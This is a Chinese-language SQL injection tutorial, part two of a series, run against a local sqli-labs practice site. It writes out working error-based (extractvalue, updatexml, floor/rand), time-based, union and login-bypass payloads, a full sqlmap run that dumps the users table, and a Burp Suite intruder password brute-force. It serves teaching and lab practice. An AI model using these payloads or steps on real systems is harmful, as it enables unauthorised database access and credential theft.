1. 程式人生 > 實用技巧 >SQL注入(二)

SQL注入(二)

接著第一章繼續說:

除了之前的注入方式,我們還有其他的方法嘛?

第一個想法就是利用報錯資訊來傳遞我們想要的資訊。

因為之前傳入id=1'時,頁面返回給了我們錯誤的資訊,那麼我們能不能讓頁面返回的錯誤資訊中包含我們需要的資訊呢?

構造如下url:

http://127.0.0.1/sql/Less-1/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) -- 

逐步來解釋:

0x7e是~符號;

我們發現其中有兩個拼接函式,concat和group_concat

concat和group_concat都是用在sql語句中做拼接使用的,但是兩者使用的方式不盡相同,concat是針對以行資料做的拼接,而group_concat是針對列做的資料拼接,且group_concat自動生成逗號。

先分析最內層的語句:

select group_concat(table_name) from information_schema.tables where table_schema=database();

如果不使用group_concat查詢會是如下效果:

我們想把這一列 的資料進行拼接,所以需要group_concat,拼接後結果如下:

這時候再使用concat函式拼接:

這個查詢結果是沒有問題的,將~與四個表名拼接一起,那為什麼會報錯呢?

原因就在於extractvalue()函式:

extractvalue():從目標XML中返回包含所查詢值的字串。
  原型:extravalue (XML_document, XPath_string);
  第一個引數:XML_document是String格式,為XML文件物件的名稱
  第二個引數:XPath_string (Xpath格式的字串)

第二個引數 xml中的位置是可操作的地方,xml文件中查詢字元位置是用 /xxx/xxx/xxx/…這種格式,也就是使用路徑去定義一個元素。如果我們寫入其他格式,就會報錯,並且會返回我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容。

在我們構造的url中,XPath_string的值是~emails,referers,uagents,users

而以~開頭的內容不是xml格式的語法,報錯,但是會顯示無法識別的內容是什麼,這樣就達到了目的。

最終報錯結果如下:

同樣的方法,獲取users表的欄位名:

http://127.0.0.1/sql/Less-1/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))) -- 

結果如下:

有一點需要注意,extractvalue()能查詢字串的最大長度為32,就是說如果我們想要的結果超過32,就需要用substring()函式擷取

比如我們只檢視前五位:

http://127.0.0.1/sql/Less-1/?id=1' and extractvalue(1,concat(0x7e,substring((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,5))) -- 

結果如下:

除了extractvalue()函式,還有updatexml()函式有同樣的用途

構造如下xml:

http://127.0.0.1/sql/Less-1/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) -- 

updatexml()函式與extractvalue()類似,是更新xml文件的函式。

語法updatexml(目標xml文件,xml路徑,更新的內容)

我們需要注入的地方就是xml路徑處,同樣也只能查詢32位。

結果如下:

還有一種利用報錯進行注入的函式:floor()函式

構造如下url:

http://127.0.0.1/sql/Less-1/?id=-1' union select 1,2,count(*) from users group by concat(database(),floor(rand(0)*2)) -- 

返回結果如下:

能看到成功爆出了資料庫名。

一步一步來解析:

rand()用於返回一個[0,1]之間的隨機數:

每一次結果是不一樣的,但是如果rand(0)呢?

我們發現每次結果是一樣的了。

也就是說如果我們指定一個整數引數N,這個整型引數稱為種子值,rand(N)會根據這個種子值產生重複序列,也就是rand(0)的值重複計算是固定的。

那如果吧rand(0)*2,結果就是[0,2]之間的隨機值,準確說應該是偽隨機的,我們會發現兩次計算結果的序列是一樣的:

floor()返回不大於x的最大整數值,把這個函式作用於rand(0)*2後的結果如下:

會產生固定的0,1序列:

concat()是字串拼接函式,拼接多個字串,如果字串中含有NULL,則返回結果為NULL。

所以concat(database(),floor(rand(0)*2))的結果為'security0'或'security1',且是按照固定順序出現的。

count(*)是一個聚合函式,就是用來計數的,用於返回所計數的數目,它與count()的區別是它不排除NULL,常與group by一起用。

我們來看一個例子:

在原始的users表上我們添加了一行資料:id=15,username=admin,password=admin

這時,users表中username=admin的資料項就有兩條了:

這時候我們按照username的值對users表的表項進行分類並計數:

在原始資料中有兩則資料項的username欄位值為admin,其他username都各不相同,所以計數結果是合理的。

group by在執行時,會依次取出查詢表中的記錄並建立一個臨時表,group by的物件便是該臨時表的主鍵。如果臨時表中已經存在該主鍵,則將值加1,如果不存在,則將該主鍵插入到臨時表中。

先是取到第一條記錄,username=Dumb,但是臨時表位空,並沒有主鍵位Dumb,故將Dumb插入位主鍵,並設定count(*)=1:

key count(*)
Dumb 1

..........

key count(*)
Dumb 1
... ...
admin 1

當取到最後一條記錄時,發現username=admin,而臨時表中已有主鍵位admin的記錄,那麼就讓count(*)加1:

key count(*)
Dumb 1
... ...
admin 2

目前還看不出什麼問題,因為group by的物件是concat(database(),floor(rand(0)*2)),也就是security0和security1的序列,

但是,還有一個最重要的特性要考慮,就是group by與rand()使用時,如果臨時表中沒有該主鍵,則在插入前rand()會再計算一次。就是這個特性導致了報錯。

還記得之前floor(rand(0)*2)的序列嘛:

group by的物件是:concat(database(),floor(rand(0)*2))

當取第一條記錄時,group by的是security0,但是臨時表中並沒有這個主鍵,這時rand(0)會再計算一次,然後插入的就是security1了:

key count(*)
security1 1

取第二條記錄時,group by的是security1,臨時表中有這個主鍵,直接將count(*)加1

key count(*)
security1 2

取第三條記錄時,group by的是security1,臨時表中有這個主鍵,直接將count(*)加1

key count(*)
security1 3

取第四條記錄時,group by的是security0,但是臨時表中並沒有這個主鍵,這時rand(0)會再計算一次,得到security1並嘗試插入,

但是插入的時候發現這個臨時表裡面已經有主鍵security1了,所以會報錯:主鍵security1重複。報錯的同時將我們想要知道的database()資訊暴露了出來。

除了通過會顯得錯誤資訊進行注入,還有什麼其他方法呢?

還有一種基於時間的注入,這個比較好理解,構造如下url:

http://127.0.0.1/sql/Less-1/?id=1' and if(length(database())=8,sleep(5),1) -- 

這句的意思是如果資料庫名稱長度為8就延遲五秒再繼續執行。

發出這個請求後過了一段時間(大於5秒)才收到回送訊息,說明資料庫長度的確等於8。

類似的,更改payload可以測試其他想要知道的資訊。

sqlmap使用

從之前的注入過程能明顯感覺到,如果想獲得一個想要的資訊,可能需要很多次操作,這很費時間和精力。

而sqlmap則是一個很好的檢測和利用sql注入的工具,使用方便。

先簡單介紹一下sqlmap:

sqlmap是一個開放原始碼的滲透測試工具,配備了一個功能強大的檢測引擎。如果url存在注入漏洞,他就可以從資料庫中提取資料;如果許可權較大,甚至可以在作業系統上執行命令、讀寫檔案。

sqlmap基於python編寫,是跨站臺的,任意一臺安裝了python的作業系統都可以使用他。

對於剛才的例子,我們使用sqlmap進行注入演示:

第一步,判斷是否存在注入點:

python sqlmap.py -u "127.0.0.1/sql/Less-1/?id=1" 

使用-u引數指定url,如果url存在注入點,將會顯示出web容器以及資料庫版本資訊;

結果如下,紅框中即為web容器以及資料庫版本資訊:

第二步:獲取資料庫:

python sqlmap.py -u "127.0.0.1/sql/Less-1/?id=1" --dbs

使用-dbs引數讀取資料庫,結果如下:

同時sqlmap把獲取的資料資訊存放在了指定資料夾中;

第三步:檢視當前應用程式所用資料庫:

python sqlmap.py -u "127.0.0.1/sql/Less-1/?id=1" --current-db

使用--current-db引數列出當前應用程式所使用的資料庫,結果如下:

第四步:列出指定資料庫的所有表:

python sqlmap.py -u "127.0.0.1/sql/Less-1/?id=1" --tables -D "security"

使用--tables引數獲取資料庫表,-D引數指定資料庫,結果如下:

第五步:讀取指定表中的欄位名稱:

python sqlmap.py -u "127.0.0.1/sql/Less-1/?id=1" --columns -T "users" -D "security"

使用--columns引數列取欄位名,結果如下:

第六步:讀取指定欄位內容:

python sqlmap.py -u "127.0.0.1/sql/Less-1/?id=1" --dump -C "id,paddword,username" -T "users" -D "security"

--dump引數意為轉存資料,-C引數指定欄位名稱,-T指定表名(如果名稱為資料庫關鍵字,建議加上[]),-D指定資料庫名稱,結果如下:

sqlmap告訴我們讀取的資料轉存為了一個本地的csv檔案。

上述步驟就是使用sqlmap進行一個最基本的sql注入的流程。

除此以外sqlmap還有很多其他選項與功能。

筆者剛開始閱讀sqlmap原始碼,之後會不定時上傳原始碼閱讀心得以及更深入的sqlmap使用方法。

上述所說的都是基於url上更改引數進行注入,可以歸類為GET注入;

但是有些情況下注入的位置並不反映在url中,比如說POST請求時表單位置的注入

這種情況下建議抓包再修改資料,比較方便。常用的工具有burpsuite

簡單介紹下burpsuite:

使用burpsuite首先要設定代理,以firefox為例:

選項-->網路設定-->代理

手動配置代理如下:

同時在burpsuite中proxy模組的options中新增對應的引數,兩個埠要保證一致:

然後就可以開心地使用burpsuite啦!

burpsuite的功能很多,這裡簡單介紹下幾個常用的模組:

target模組:

當我們每次訪問網站時,target模組會記錄下所有請求,並歸於一個網站資料夾中,

左邊為網站目錄,右邊上方為每次請求的記錄,點開每則請求都可以看到對應的request和response

藍色框框點開是過濾器,點開可以設定對應的過濾選項:

對每則請求,我們可以右鍵新增comment或者highlight,效果如下:

裡面有一個比較重要的引數是狀態碼欄位:

下面講講proxy模組:

當intercept is on點選後成為灰色,就表示已經開啟攔截功能,就可以開始抓包啦

比如訪問如下url時:

http://127.0.0.1/sql/Less-1/?id=1

回車,並沒有直接訪問成功,瀏覽器一直在載入

因為發出的請求報文被burpsuite攔截下來了:

上面的forward表示放包,drop表示丟包,就是把這個包廢棄掉,action表示執行其他動作;

按下forward後訪問,瀏覽器就能正常接收到response了:

對於抓到的包,除了以raw格式檢視,還可以以params檢視請求引數,headers檢視http報文頭部,hex檢視16進位制報文

回到之前提到的action,點開後可以呼叫其他模組的功能,比如repeater和intruder模組:

比如我們點選action-->send to repeater,就可以在抓到包的基礎上呼叫repeater模組的功能了。

repeater模組:

在這個模組中可以對抓到的包進行修改後傳送,並且可以多次修改包內容,比較每次修改後的不同,且不需要多次抓包。

比如,我們先不進行修改,之間點選send把包發出去:

然後可以把id=1改為id=1',再點選send:

相比於repeater模組,之前的proxy模組中每次對包修改都需要重新抓包。

這個repeater模組就與我們談到的sql注入有關了:

訪問如下url:

http://127.0.0.1/sql/Less-11/

頁面如下:

隨便輸入一些內容,比如username=aaa,password=aaa,進行抓包,結果如下:

這是一個POST請求,之前直接修改url來進行sql注入的方法已經不行了,我們把這個報文傳送到repeater中進行操作:

再repeater中先點選send,把包發出去看看response是什麼樣的:

登陸失敗了,使用者名稱與密碼不爭取;

接下來再username=aaa後面加上單引號再send試一試:

報錯了,說明這兒是存在sql注入的。

這時候我們可以嘗試無密碼登入(前提是我們知道有一個使用者名稱時admin了),就是使用username=admin' -- ,通過註釋符把後面的密碼欄位世界給註釋掉,結果如下:

在此基礎上我們來嘗試基於報錯的注入:

將username欄位的值設定為:

admin' and extractvalue(1,concat(0x7e,(select database()))) -- 

成功爆出了資料庫名字:

我們還可以嘗試在沒有使用者名稱的情況下登入,username設定為:

aaa' or 1=1 -- 

結果如下:

當然,union注入也是可以的,username設定為:

aaa' union select 1,2 -- 

結果如下:

因為在1和2的位置上都有回顯,那可以在此基礎上查詢其他資訊,比如資料庫名字:

設定username為:

aaa' union select 1,database() -- 

結果如下:

repeater模組就介紹到這兒。

intruder模組主要是用於暴力破解,將抓到的資料包send to intruder後intruder的介面如下:

target底下是設定攻擊目標的地方;

position底下是設定具體要暴力破解什麼引數的地方:

紅框中能看到,有三個引數的值被$符號閉合住,並有綠色底色,這就表明這三個引數是被選中要破解的目標:

右邊的add和clear等按鈕可以新增或者清楚這些被選中的引數,比如我們只選中破解passwd欄位:

就像這樣(偷偷把username改為了admin,因為我們知道有一個使用者叫做admin):

然後進入payloads功能:

因為我們只准備設定一個payload檔案,所以payload set為1,payload type設定為simple list,就是一個列表,當然下拉下來可以有很多選項,還可以自己匯入字典檔案;在藍框中輸入我們覺得有可能成為密碼的資料,並add到列表中:

這樣我們最基礎的payload就設定完成了,點選右上角start attack開始攻擊:

可以看到,intruder模組將我們選中的引數遍歷了payload中的資料併發送報文,並將每次請求後的response記錄了下來;

其中需要注意的是狀態碼和長度欄位,我們發現最後一席payload為admin時,response報文的長度不一樣,點開渲染一下,發現登陸成功:

這樣就暴力破解成功了。當然這個例子中我們提前是知道使用者名稱與密碼的,所以構造的payload列表比較簡單。現實中的攻擊可能不僅要攻擊一個引數,還需要配置複雜的字典檔案。

可以介紹下四種攻擊模式(留個坑)。

至此,這一章內容結束了。